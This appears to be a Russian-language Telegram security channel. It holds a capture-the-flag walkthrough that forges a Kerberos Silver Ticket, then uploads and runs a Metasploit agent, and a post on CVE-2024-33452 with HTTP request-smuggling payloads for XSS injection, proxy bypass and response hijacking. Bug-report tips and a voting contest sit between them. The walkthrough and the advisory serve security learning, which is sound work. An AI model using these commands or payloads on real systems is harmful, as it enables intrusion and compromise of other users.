Forwarded from Purple Chronicles (Feyd-Rautha Harkonnen)
В ходе решения одной из сетей на известной платформе может сложиться ситуация, с которой столкнулся я.
Имея привилегированный доступ к серверу, который впоследствии будет использоваться для Remote NTLM Relay, я без задней мысли отключил службы
NetLogon, LanManServer и LanManWorkstation и перезагрузил машину, забыв закрепиться на ней встроенными средствами фрэймворка постэксплуатации.Сделал я это следующим образом:
sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
После перезагрузки хоста я удостоверился, что порт 445 не прослушивается сервером (
nmap -p 445 -sT -Pn <serverIP>), после чего решил продолжить атаку, но столкнулся с очевидной проблемой: я не могу пройти аутентификацию на сервере и, следовательно, запустить бинарный файл, необходимый для организации портфорвардинга.Имеем 2 проблемы:
1) Не работают службы
NetLogon, LanManServer и LanManWorkstation, из-за чего не получится пройти аутентификацию на целевом сервере при помощи NTLM;2) Не работает SMB-порт, необходимый для работы большинства утилит из набора Impacket.
Что же делать?
Решение довольно очевидное. Вместо NTLM можно использовать Kerberos, так как мы находимся в доменной инфраструктуре. Не зря же после получения системного доступа к атакуемому серверу мы дампили его LSA-секреты?
А вместо стандартных скриптов из набора Impacket можно использовать их "pro вариации", которые не требуют доступа к 445 порту целевого сервера.
Начнем атаку!
Шаг 1. Silver Ticket🎫
Первый шаг показан в демонстративных целях, чтобы видеть хэш пароля учетной записи атакуемого сервера. Напомню, что его мы получили ранее путем дампа LSA-секретов на самом сервере.
proxychains impacket-secretsdump holo.live/Administrator@10.201.126.30 -hashes :<redacted> -just-dc-user 'PC-FILESRV01$'
...
PC-FILESRV01$:1120:aad3b435b51404eeaad3b435b51404ee:e66f5cf1a026516d1d2220130d8d13c4
Для осуществления атаки нам необходим SID домена, который мы получим с использованием скрипта
impacket-lookupsid из набора Impacket (в данном случае используем технику Pass-the-Hash в отношении контроллера домена):proxychains impacket-lookupsid HOLO.LIVE/'PC-FILESRV01$'@10.201.126.30 -hashes :e66f5cf1a026516d1d2220130d8d13c4
Получаем SID домена: S-1-5-21-471847105-3603022926-1728018720
После получения SID начинаем крафтить Silver Ticket, чтобы получить привилегированный доступ к целевому серверу. Путь до полученного тикета записываем в переменную окружения
KRB5CCNAME:proxychains impacket-ticketer -nthash e66f5cf1a026516d1d2220130d8d13c4 -domain-sid S-1-5-21-471847105-3603022926-1728018720 -dc-ip 10.201.126.30 -domain holo.live -spn HOST/PC-FILESRV01.holo.live 'watamet'
export KRB5CCNAME=watamet.ccache
Шаг 2. ATExec Pro
После этого уже при помощи известного нам
atexec-pro.py и полученного билета получаем доступ к целевому серверу и запускаем наш C2-агент (для примера здесь используется MSF): proxychains python3 atexec-pro.py PC-FILESRV01.holo.live -k -no-pass -dc-ip 10.201.126.30
Внутри шелла:
ATShell (@PC-FILESRV01.holo.live)> upload /root/THM/Holo/binaries/msf_win_x64.exe C:\Windows\Tasks\msf.exe
ATShell (@PC-FILESRV01.holo.live)> C:\Windows\Tasks\msf.exe
Поэтапно те же действия можно видеть на приложенных скриншотах.
1) Получение SID домена при помощи
impacket-lookupsid;2) Создание Silvet Ticket при помощи
impacket-ticketer для привилегированного доступа к целевому хосту;3) Получение доступа к целевому хосту при помощи
atexec-pro.py с использованием ранее полученного билета (обращаю внимание на лог ProxyChains, где отсутствует коннект до 445 порта).Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥21⚡5 4❤🔥2👍2👾1
Отчет с одним скрином и отсутствием пояснений становится головоломкой, которую нужно разгадывать. Постарайтесь описывать все действия для воспроизведения уязвимости вместе с ссылками и желательно видео PoC. Это ускорит рассмотрение отчета и облегчит жизнь триажера, а вам +rep.
Да, для считывания текста с картинок есть нейросети, но мы использовать их не можем. Нам остается лишь пытаться воспроизвести запрос вручную, а это крайне занудная задача. Если же триажеру для получения запроса придется лишь поменять пару полей, отчет примут быстрее, а уважение к вам возрастет.
Правильно выбранная задача из списка в программе ускорит поиск дублей, что заметно сократит время рассмотрения отчета. Адекватное выставление критичности убережет вендора от необходимости поднимать специалистов в субботу вечером из-за XSS с уровнем critical на лендинге.
С кайфом, команда BI.ZONE Bug Bounty
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚14👍11🔥4😁2👾2
Попробуй абстрагироваться от своего отчета и посмотреть на него свежим взглядом. Все ли понятно из прочитанного? Хочется ли что-то уточнить по тексту?
Открой свой рандомный отчет годичной давности. За год подробности могли забыться, хороший способ проверить себя - это прочитать старый отчет и, не заглядывая в комменты, попытаться воспроизвести/понять импакт/в целом суть
Посмотри все свои отчеты и комментарии триажеров к ним. Если разные триажеры на разные отчеты задают похожие вопросы или в каждом возникает спор - возможно стоит как-то поменять паттерн написания отчетов
С любовью, команда T-Bank BugBounty
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁18🔥14🌚6❤🔥5⚡2👍1👾1
Соблюдение культуры подачи отчетов критически важно для эффективного взаимодействия. Хотя принимаются отчеты любого формата, информативность и детальность значительно ускоряют процесс триажа. Добавление алгоритма воспроизведения, RAW-HTTP запросов, скринкаста и скриншотов не только ускоряет рассмотрение уязвимости,
но и плюсик в карму.
При обнаружении уязвимости важно проверить в скоупе ли она, а потом оценить ее потенциальный импакт. Анализируйте легкость эксплуатации, затронутый сервис и домен. Такой подход помогает прогнозировать уровень вознаграждения и приоритетность уязвимости для компании.
Посвятите время на изучение архитектуры приложения, логики его работы и типичных уязвимостей в аналогичных системах - это стратегический подход к багхантингу. Понимание нормального функционирования приложения позволяет легче выявлять аномалии и потенциальные уязвимости, особенно критические. Этот метод повышает эффективность поиска и увеличивает шансы на обнаружение значимых проблем безопасности.
С уважением, команда VK Bug Bounty
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
3😁20❤🔥9🔥7🌚3⚡2👍1
Как вам такая активность с крупными компаниями?
Final Results
70%
Классно
30%
Не очень. Пишите как улучшить
10🌚7
1
#для_доклада
https://github.com/AlecBlance/S3BucketList
https://chromewebstore.google.com/detail/s3bucketlist/anngjobjhcbancaaogmlcffohpmcniki?authuser=0&hl=en
https://github.com/AlecBlance/S3BucketList
https://chromewebstore.google.com/detail/s3bucketlist/anngjobjhcbancaaogmlcffohpmcniki?authuser=0&hl=en
GitHub
GitHub - AlecBlance/S3BucketList: Chrome and Firefox extension that lists Amazon S3 Buckets while browsing
Chrome and Firefox extension that lists Amazon S3 Buckets while browsing - AlecBlance/S3BucketList
🔥6
Media is too big
VIEW IN TELEGRAM
Привет, похекеры! Сегодня у нас есть крутая новость для всех, кто увлекается багхантингом и хочет получить приятные бонусы.
Но это не всё! Я также хочу пригласить вас на сайт https://eh.su/rating, где вы можете проголосовать за свои любимые багбаунти программы. Каждый день вы можете отдать до 10 голосов и даже оставить комментарий, если хотите.
А теперь самое интересное: в рейтинге есть топ голосующих, и по итогам месяца 5 пользователей получат призы! ТОП-1 получит 15 000 рублей, ТОП-2 — 10 000 рублей, а ТОП-3 — 5 000 рублей прямо на карту. И ещё два человека будут выбраны случайным образом из всех остальных проголосовавших и тоже получат призы — крутые футболки от Багхантера!
Итак, обязательно проголосуйте за свои любимые программы. Удачи!👍
Но это не всё! Я также хочу пригласить вас на сайт https://eh.su/rating, где вы можете проголосовать за свои любимые багбаунти программы. Каждый день вы можете отдать до 10 голосов и даже оставить комментарий, если хотите.
А теперь самое интересное: в рейтинге есть топ голосующих, и по итогам месяца 5 пользователей получат призы! ТОП-1 получит 15 000 рублей, ТОП-2 — 10 000 рублей, а ТОП-3 — 5 000 рублей прямо на карту. И ещё два человека будут выбраны случайным образом из всех остальных проголосовавших и тоже получат призы — крутые футболки от Багхантера!
Итак, обязательно проголосуйте за свои любимые программы. Удачи!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥10👍6 3🌚2
Forwarded from SHADOW:Group
Раскрыли подробности
CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.Пример
Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET
/smuggle находится в теле HEAD-запроса:HEAD / HTTP/1.1
Host: localhost
Content-Length: 52
GET /smuggle HTTP/1.1
Host: localhost
Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.
Сценарии атак
Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).
Пример с Kong Gateway
Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.
Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.
HEAD / HTTP/1.1
Host: localhost
Content-Length: 122
HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive
GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:
Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.
Допустим, Cloudflare блокирует доступ к
/admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.Пример:
HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40
GET /admin HTTP/1.1
Host: victim.com
Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.
Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.
Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.
Подробности
Более подробное описание читайте в блоге по ссылке.
#web #hrs #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥10👍5